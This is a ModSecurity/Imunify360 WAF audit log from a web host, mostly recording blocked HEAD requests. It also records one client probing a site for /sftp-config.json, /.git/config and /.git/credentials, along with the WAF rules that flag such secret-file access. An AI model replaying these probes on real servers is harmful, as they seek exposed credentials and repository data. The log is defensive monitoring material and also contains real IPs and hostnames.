User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--4281f17c-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--4281f17c-E--

--4281f17c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789275858412567 6090 (- - -)
Stopwatch2: 1789275858412567 6090; combined=4275, p1=261, p2=3663, p3=62, p4=7, p5=282, sr=101, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4281f17c-Z--

--2cb20235-A--
[13/Sep/2026:08:04:18.752107 +0300] aqYu0mM7dE9KgIIOpQhkMAAAAMg 46.203.158.185 51438 127.0.0.1 7081
--2cb20235-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.185
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--2cb20235-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--2cb20235-E--

--2cb20235-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789275858745658 6501 (- - -)
Stopwatch2: 1789275858745658 6501; combined=5003, p1=250, p2=4331, p3=107, p4=8, p5=307, sr=106, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2cb20235-Z--

--53712b60-A--
[13/Sep/2026:08:04:19.156887 +0300] aqYu02M7dE9KgIIOpQhkMQAAAMw 91.124.31.118 51440 127.0.0.1 7081
--53712b60-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.118
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--53712b60-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--53712b60-E--

--53712b60-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789275859150346 6593 (- - -)
Stopwatch2: 1789275859150346 6593; combined=4745, p1=290, p2=4058, p3=72, p4=7, p5=318, sr=109, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--53712b60-Z--

--44dd5c54-A--
[13/Sep/2026:08:04:40.035590 +0300] aqYu52M7dE9KgIIOpQhkNQAAAMA 66.249.69.192 55506 127.0.0.1 7081
--44dd5c54-B--
POST /navigation_times HTTP/1.1
Host: ihelp.ro
X-Real-IP: 66.249.69.192
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 417
Accept-Language: en-US
Content-Type: application/x-www-form-urlencoded
Cookie: cto_bundle=ugg4319FNW8wYWxLaVAxVmt2b2tuWWduN2pPVGtkWVJCS09rVHZSTERCemxwd3MlMkJVMXBiNFFJVzZnYmp0NldLck5ucHFHNXBqeWhYdnVXaXZEVk5XenJqcmJPcCUyQnA3U3QlMkZMeEVwMzRWSllvdyUyQlIyaTlZWnAlMkI1bldNMWtTWlBpVjBzclppWEE2WDBRMjNmQ05xdUJDdDJsWUNRJTNEJTNE
Origin: https://ihelp.ro
Referer: https://ihelp.ro/?artikel=slot5k
X-Booking-CSRF: XJvXaAAAAAA=CX4s0D3iyg_iRUuMf2iAsA1zXpCWWartikelymbBvzH2ABQjTszO3mfTCYHHUwSJCfLs6ukyO3JHkVWlP_MW02hTuSsNl1-Ru8GTcV_Y4CC0qmOXJl6Fdl-0tPC8r8z6HBK1fIFuAnDquEPeMiNr2jwIC4paXij0E9cBqLmEYbe9YAN1ZjwZtIOctNDR7sMeXwVN0I6spkMtq322zhFeC
Accept: */*
From: googlebot(at)googlebot.com
User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.7977.82 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept-Encoding: gzip, deflate, br

--44dd5c54-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: b492e569-6da9-416b-8894-0c0f20dd15ba
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--44dd5c54-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789275879641282 394466 (- - -)
Stopwatch2: 1789275879641282 394466; combined=6611, p1=314, p2=5869, p3=0, p4=0, p5=427, sr=97, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--44dd5c54-Z--

--7f85734a-A--
[13/Sep/2026:08:04:47.785427 +0300] aqYu70wu1RSkptiiNIXw@gAAAIE 188.166.231.242 51488 127.0.0.1 7081
--7f85734a-B--
GET /license.txt HTTP/1.1
Host: antarktysvodka.com
X-Real-IP: 188.166.231.242
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.27.1

--7f85734a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--7f85734a-H--
Message: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.27.1||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.27.1||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "antarktysvodka.com"] [uri "/license.txt"] [unique_id "aqYu70wu1RSkptiiNIXw@gAAAIE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/antarktysvodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789275887706163 79327 (- - -)
Stopwatch2: 1789275887706163 79327; combined=4395, p1=260, p2=4079, p3=0, p4=0, p5=55, sr=97, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7f85734a-Z--

--c1cd9d13-A--
[13/Sep/2026:08:07:47.069740 +0300] aqYvoysVWymXUono-eRR3QAAAAk 151.243.174.40 54480 127.0.0.1 7081
--c1cd9d13-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.40
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--c1cd9d13-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--c1cd9d13-E--

--c1cd9d13-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789276067062549 7261 (- - -)
Stopwatch2: 1789276067062549 7261; combined=4510, p1=268, p2=3901, p3=75, p4=7, p5=259, sr=97, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c1cd9d13-Z--

--54828c0d-A--
[13/Sep/2026:08:07:47.541047 +0300] aqYvo2M7dE9KgIIOpQhknwAAANQ 151.243.174.150 54492 127.0.0.1 7081
--54828c0d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.150
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--54828c0d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--54828c0d-E--

--54828c0d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789276067530391 10742 (- - -)
Stopwatch2: 1789276067530391 10742; combined=8021, p1=471, p2=6834, p3=155, p4=10, p5=551, sr=241, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--54828c0d-Z--

--1c988622-A--
[13/Sep/2026:08:07:47.945728 +0300] aqYvo2M7dE9KgIIOpQhkoAAAANU 95.134.102.154 54494 127.0.0.1 7081
--1c988622-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.154
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--1c988622-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--1c988622-E--

--1c988622-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789276067935585 10248 (- - -)
Stopwatch2: 1789276067935585 10248; combined=7841, p1=448, p2=6518, p3=173, p4=12, p5=689, sr=205, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1c988622-Z--

--16ca052d-A--
[13/Sep/2026:08:09:36.728100 +0300] aqYwEGM7dE9KgIIOpQhkxgAAAMI 34.38.254.144 40460 127.0.0.1 7081
--16ca052d-B--
GET / HTTP/1.1
Host: default-89-39-7-190
X-Real-IP: 34.38.254.144
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate
Accept: */*

--16ca052d-F--
HTTP/1.1 200 OK
Last-Modified: Tue, 02 Apr 2024 12:21:35 GMT
ETag: "67a-6151c25a371c0"
Accept-Ranges: bytes
Content-Length: 1658
Content-Type: text/html

--16ca052d-E--

--16ca052d-H--
Message: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.32.5||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.32.5||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "default-89-39-7-190"] [uri "/"] [unique_id "aqYwEGM7dE9KgIIOpQhkxgAAAMI"]
Stopwatch: 1789276176719714 8456 (- - -)
Stopwatch2: 1789276176719714 8456; combined=6311, p1=340, p2=5830, p3=86, p4=9, p5=46, sr=136, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--16ca052d-Z--

--3841541a-A--
[13/Sep/2026:08:13:39.712877 +0300] aqYxA2M7dE9KgIIOpQhlFwAAAMY 151.243.174.98 50006 127.0.0.1 7081
--3841541a-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.98
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--3841541a-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--3841541a-E--

--3841541a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789276419706403 6522 (- - -)
Stopwatch2: 1789276419706403 6522; combined=4827, p1=268, p2=4126, p3=68, p4=7, p5=357, sr=94, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3841541a-Z--

--2bd4cd3c-A--
[13/Sep/2026:08:13:40.093696 +0300] aqYxBGM7dE9KgIIOpQhlGAAAAMc 151.243.174.17 50020 127.0.0.1 7081
--2bd4cd3c-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.17
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--2bd4cd3c-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--2bd4cd3c-E--

--2bd4cd3c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789276420087657 6084 (- - -)
Stopwatch2: 1789276420087657 6084; combined=4479, p1=225, p2=3807, p3=81, p4=8, p5=357, sr=90, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2bd4cd3c-Z--

--2959c67d-A--
[13/Sep/2026:08:13:40.280233 +0300] aqYxBGM7dE9KgIIOpQhlGgAAANg 34.146.38.117 50040 127.0.0.1 7081
--2959c67d-B--
GET /sftp-config.json HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 34.146.38.117
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Referer: https://www.happydigital.co.uk/sftp-config.json

--2959c67d-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--2959c67d-E--

--2959c67d-H--
Message: Warning. Matched phrase "sftp-config.json" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "sftp-config.json" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "426"] [id "77316758"] [msg "IM360 WAF: Private file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/sftp-config.json"] [unique_id "aqYxBGM7dE9KgIIOpQhlGgAAANg"]
Stopwatch: 1789276420270777 9508 (- - -)
Stopwatch2: 1789276420270777 9508; combined=8140, p1=208, p2=7833, p3=53, p4=6, p5=39, sr=82, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2959c67d-Z--

--b5c1b049-A--
[13/Sep/2026:08:13:40.284777 +0300] aqYxBGM7dE9KgIIOpQhlGwAAAMQ 34.146.38.117 50036 127.0.0.1 7081
--b5c1b049-B--
GET /.git/config HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 34.146.38.117
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Referer: https://www.happydigital.co.uk/.git/config

--b5c1b049-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--b5c1b049-E--

--b5c1b049-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "happy-digital.ro"] [uri "/.git/config"] [unique_id "aqYxBGM7dE9KgIIOpQhlGwAAAMQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/.git/config"] [unique_id "aqYxBGM7dE9KgIIOpQhlGwAAAMQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "happy-digital.ro"] [uri "/.git/config"] [unique_id "aqYxBGM7dE9KgIIOpQhlGwAAAMQ"]
Stopwatch: 1789276420274509 10318 (- - -)
Stopwatch2: 1789276420274509 10318; combined=9000, p1=217, p2=8669, p3=58, p4=6, p5=50, sr=100, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b5c1b049-Z--

--bf5a583d-A--
[13/Sep/2026:08:13:40.292097 +0300] aqYxBGM7dE9KgIIOpQhlHAAAAMo 34.146.38.117 50030 127.0.0.1 7081
--bf5a583d-B--
GET /.git/config HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 34.146.38.117
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Referer: https://www.happydigital.co.uk/.git/config

--bf5a583d-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--bf5a583d-E--

--bf5a583d-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "happy-digital.ro"] [uri "/.git/config"] [unique_id "aqYxBGM7dE9KgIIOpQhlHAAAAMo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/.git/config"] [unique_id "aqYxBGM7dE9KgIIOpQhlHAAAAMo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "happy-digital.ro"] [uri "/.git/config"] [unique_id "aqYxBGM7dE9KgIIOpQhlHAAAAMo"]
Stopwatch: 1789276420276421 15730 (- - -)
Stopwatch2: 1789276420276421 15730; combined=14712, p1=221, p2=14378, p3=59, p4=7, p5=47, sr=78, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--bf5a583d-Z--

--995f9d01-A--
[13/Sep/2026:08:13:40.529882 +0300] aqYxBGM7dE9KgIIOpQhlHgAAAMU 151.243.174.180 50066 127.0.0.1 7081
--995f9d01-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.180
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--995f9d01-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--995f9d01-E--

--995f9d01-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789276420521394 8529 (- - -)
Stopwatch2: 1789276420521394 8529; combined=5404, p1=325, p2=4711, p3=72, p4=7, p5=288, sr=132, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--995f9d01-Z--

--a5540354-A--
[13/Sep/2026:08:13:41.144465 +0300] aqYxBSsVWymXUono-eRR-QAAABg 34.146.38.117 50078 127.0.0.1 7081
--a5540354-B--
GET /.git/credentials HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 34.146.38.117
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0
